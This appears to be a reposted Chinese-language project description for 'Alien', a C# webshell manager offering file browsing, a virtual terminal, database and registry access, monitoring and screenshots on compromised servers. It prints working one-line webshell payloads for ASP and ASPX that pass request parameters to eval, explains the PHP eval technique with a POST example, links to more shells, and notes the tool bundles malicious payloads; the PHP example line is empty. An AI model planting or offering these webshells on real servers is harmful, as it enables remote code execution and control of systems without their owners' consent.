項(xiàng)目簡介

語言

C# .NET Framework V4.8

功能

File Manager （可顯示圖片， 可SearchFile）

虛擬終端

數(shù)據(jù)庫

注冊表

監(jiān)控

截圖

系統(tǒng)信息

項(xiàng)目描述

一句話木馬

一句話木馬是在滲透測試中用來控制服務(wù)器的工具

強(qiáng)大之處在于木馬本身體積小，不易發(fā)現(xiàn)

以下是最簡單的一句話木馬

PHP
ASP <%execute(request("password"))%>
ASPX <%@ Page Language="Jscript"%><%eval(Request.Item["password"])%>當(dāng)然， Alien還可以使用asmx， ashx等等的Webshell。
NodeJS和JSP https://github.com/malbuffer4pt/Alien/blob/main/shell.txt

原理

以PHP為例子， eval（）可以把string以PHP Code去執(zhí)行，

如果eval（）中帶有可控變量，那么就可以執(zhí)行任意代碼。

如eval（$_POST['a']）;

HTTP POST a=phpinfo(); 就可以執(zhí)行phpinfo（）;

注意!

工具Payloads文件夾內(nèi)有符合惡意程序的Payload， 可能會被防毒刪除

目前只有刪減版，但部份代碼沒有刪除，Disassemble應(yīng)該會有奇怪但無法使用的東西

圖片

審核編輯：劉清